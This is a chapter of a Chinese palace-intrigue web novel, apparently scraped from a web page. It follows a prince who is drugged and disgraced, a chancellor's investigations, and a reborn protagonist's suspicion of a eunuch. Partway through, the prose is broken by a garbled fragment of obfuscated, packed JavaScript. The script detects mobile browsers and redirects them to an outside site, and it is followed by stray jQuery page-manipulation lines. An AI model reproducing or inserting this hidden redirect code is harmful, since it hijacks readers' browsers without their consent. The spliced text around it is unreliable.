崔华温顺着盘曲的楼梯走上春意楼的三楼,身旁跟着春意楼的老板庄姑娘。
庄姑娘用团扇掩着面,笑道:“听闻今日殿下要来,临夏早早准备好了新曲子,就盼着殿下了。”
厢房内竖立着一扇屏风,屏风对面是一张几案,上面放着茶具,屏风后隐隐约约看见一道影子,身形窈窕,怀里还抱着琵琶。
“殿下来了。”
崔华温听见临夏熟悉的声音,这才踱步至几案边。
临夏缓缓开口:“这几日临夏新创了首曲子,这还是第一次表演,献丑了。”
待到一曲完毕,崔华温道:“不错。今日头痛,你来给本殿下按一下头。”
临夏仔细放下琵琶,转身走向崔华温的身后。
崔华温闭着眼,感觉到有些冰冷的手指放在他头上,又感受到了凉风从背后窗口吹来。
不对!
他猛然睁开眼,第一时间就要往后看,但却已经来不及了。
一记手刃袭来,敲晕了崔华温。
临夏退后好几步,看着从窗外进来的黑衣人,小心翼翼地道:“先前说好的,我帮你们做事,你们要帮我弄个假身份去往外地。”
黑衣人扛起崔华温,而后又一黑衣人跳窗进来,黑衣人扔给她一身黑色斗篷,声音奇怪且嘶哑:“带上你的东西,现在就走,送你出城。”
临夏回身抱起琵琶,又从屏风后抓起小包袱,看向黑衣人。
待到临夏出城坐上一辆去往山城的马车时,仍然觉得不可置信,竟然这么简单就从那禁锢了她十多年的地方逃了出来。
她怀里抱着她心爱的琵琶和新的身份凭证。
良久,终究笑出了声。
在天空由黑色转到蓝黑色之时,黑衣人处理好晕过去的崔华温后,转身进了一处小巷子,巷子里站着一个人低着头不知面貌。
黑衣人道:“殿下,全做完了。”
他缓缓抬起头,尚存的月光一点点照出他的容貌,双眸狭长,略带锋利的下颌线突出,嘴角上扬,带着些许戏谑的笑意。
崔肆归嗤笑道:“不是喜欢算计人吗,那就自己也尝尝被算计的滋味吧。”
天空微亮,商铺们陆续起床开始收拾摊子,路上行人也越来越多。
“啊——”
一声尖叫声响起,吸引了众多的目光。
“怎么回事?”
“不知道啊,好像是后面传来的声音。”
“春意楼前躺了一个衣衫凌乱的男子,身上一股酒气,露出来的皮肤上听说全是印子。”
“那男的衣着华丽,也不知道又是哪家的小公子。”
“春意楼不是一贯是打着‘卖艺不卖身’的名号吗,名声要塌啦?”
“真遇上有钱或有势的人家,哪来的这种说法了,不过是既要钱又要名声罢了。”
“那男的长得挺像三皇子的,我见过三皇子,真的特别像!”
“哎哎哎我也觉得是,你们说——不会真的是三皇子吧?”
暗处,崔肆归听了一小会儿,确定自己派出去的人已经成功浑水摸鱼后,便慢慢后退,彻底离开了光线的照射范围。
丞相府。
简然将熬好的药端上桌子,低声在沈原殷旁说了几句话。
沈原殷用汤匙搅着药碗,听完后轻笑了下:“人醒了没?”
简然道:“没,被三皇子府上的人带走了。”
沈原殷问道:“崔肆归人呢,还没回来?”
简然正要点头,随即明亮的声音响起。
“我这不是回来了吗,沈大人。”崔肆归迈进门道。
崔肆归问道:“正好赶上早膳,有我的份儿吗?”
沈原殷默不作声,见他没拒绝,简然心里思考了几番,而后道:“我去通知膳房。”
崔肆归落座,用手支着头歪头道:“沈大人今早听见什么八卦没?”
沈原殷嘴角浮现出微不可察的笑意,骨节分明的手指有一搭没一搭地敲着碗壁,却不搭理他。
崔肆归也不管,只自顾自地道:“差不多大街小巷都传遍了,但就这样还是有点便宜他了。”
他看着沈原殷迟迟不喝药,又从衣兜里掏出糖来,放在沈原殷手边。
这时林管家走进来,道:“大人,四皇子身边那太监又来了,说是要找四皇子。”
“谁,”崔肆归道,“阿杜还是阿祝?”
林管家道:“太监阿杜。”
沈原殷手一顿。
阿杜。
上一世阿杜带着圣旨来时的场面历历在目,似乎就是昨天发生的事情。
沈原殷抬起眼看向林管家,眼底一片冰冷:“人在哪儿?”
在场之人都听出了他声音里的不喜。
林管家连忙道:“府外候着呢,我没让他进来。”
沈原殷冷笑一声,将碗里药一饮而尽,起身指着崔肆归道:“别让乱七八糟的人进我府上来,要见面滚出去见。”
他看见下人刚刚呈上来的早膳,道:“撤下去,我什么时候让上了?”
简然迅速端起早膳递给下人。
见此,沈原殷转身离去。
糖还孤零零的在桌子上,崔肆归抛给简然让他带给他家大人,随即出府去见阿杜。
“殿下,”阿杜见到崔肆归出来,立即迎上去,“明日就要出发去行宫了,今日该回宫去了。”
崔肆归道:“我跟着丞相府走,行宫你就别去了,叫阿祝跟来。”
阿杜有些懵:“殿下,先前不都是奴婢跟着的吗?”
崔肆归道:“丞相不喜你,别去讨嫌。”
打发走阿杜后,崔肆归返回沈原殷院内,简然正候在门前,百无聊赖地拔草。
看见崔肆归的身影,立马站起身来道:“四殿下,大人正在处理政务不许人去打扰,让您接着去劈柴。”
“不许人打扰,还是不许我去打扰?”
简然干笑两声。
崔肆归问道:“糖呢?”
简然道:“递进去了。”
崔肆归看着关着的房门,转身去了院子里。
原本开着能够看到院里的窗子,此时正紧闭着。
腊梅花瓣落了一地。
.
从京城前往行宫的路上,天子圣驾和其宠妃居于中间,后方是朝中大臣。
沈原殷无语地看着他马车里的崔肆归,语气冷冽道:“本官没记错的话,太仆寺是安排了你的马车,你非得在这儿待着?”
崔肆归装无辜道:“父皇说了让我在大人这儿打杂,那自然是大人在哪儿我在哪儿了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081996|179394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈原殷懒得理他。
今日天空难得放晴,化雪时却更寒冷。
待到行宫时,皇帝急急赶往温泉,只派人留下一句“明日罢朝”。
沈原殷去往他的住所,林管家和简然此次都跟随来了。
中途简然收了一封信,但那时顾忌崔肆归的存在,于是一直没有向沈原殷报备。
林管家看出了他们有要事商议,就去膳房监督熬药了。
简然关上书房的门,屋内早已有奴才准备好了地龙,屋子里没有半点寒意。
简然将信封递过去,而后道:“就在队伍刚出京城不久,大皇子府上有一批人偷偷出了京,方向往南,应该是永南镇的目的地,我们的人就在他们后面远远跟着的。”
沈原殷将信件简单浏览一遍,便搁置一旁。
简然接着道:“最近大皇子府上也并不安宁,大皇子妃不小心误食了东西,肚里三月的孩子没保住。大皇子妃不知从哪儿的消息,咬死了说是侧妃算计她。”
“但是大皇子只说是她丢了孩子起了臆想,将大皇子妃禁足,并且后院的管理全权交给了侧妃。”
简然道:“大皇子妃的父亲是户部尚书,向来疼爱自家女儿,大皇子妃滑胎后,户部尚书一直让大皇子给个说法,但大皇子依然保侧妃。”
永南镇归渠州管辖,而大皇子侧妃的哥哥,便是渠州的知州。
榕江口的地契也在何家。
上一世,大皇子养私兵一事被揭发后,何家也被搜出了不少证据证明与此事有关,但渠州却并没有查出什么。
渠州知州是因大皇子之事而下任。
所以,永南镇、渠州、榕江口,这三者之间究竟有何关联?
永南镇的农民起义被瞒下来,是因为知州害怕被牵连,还是因为渠州有见不得人的东西,所以不能让上面的人下来查看情况。
沈原殷吩咐道:“去查一下何家和渠州州府,还有渠州、京城、榕江口这三处地方的往来。”
简然道:“好。”
沈原殷本想让简然下去了,但突然想到刚才崔肆归身旁的人,于是又问道:“今日崔肆归跟着的是谁?”
简然懵了一下,然后语气不坚定道:“好像是四皇子的另一个太监,阿祝。”
沈原殷道:“把阿杜给彻查一遍,从小到大所有能查出来的都挖出来。”
简然不是很明白查阿杜的意义何在,但还是点头应好。
“等等,”沈原殷叫住简然,“皇帝带了宫中哪些人?”
简然道:“庄妃和安贵人,还有皇上常听的戏班子。”
“大人,”林管家在门外道,“有福公公传话说,今晚有食鹿宴,邀各位大臣一齐品尝,还有戏班子新排的戏。”
沈原殷摆手让简然下去。
他手指摩挲着玉佩,这块玉佩是前丞相顾松赠予他的生辰礼物,他一直佩戴在身上。
调查阿杜,不过是他想起了上一世一些没找到源头被泄露出去的事,当时他就怀疑有内奸在身边,只是一直没有被抓出来。
如今一看,阿杜的嫌疑是最大的。
泄露的事不利于崔肆归,说明这个内奸是其他人派来的,那有没有一种可能。
上一世,是太监阿杜伙同其他人假造圣旨,谋害了他?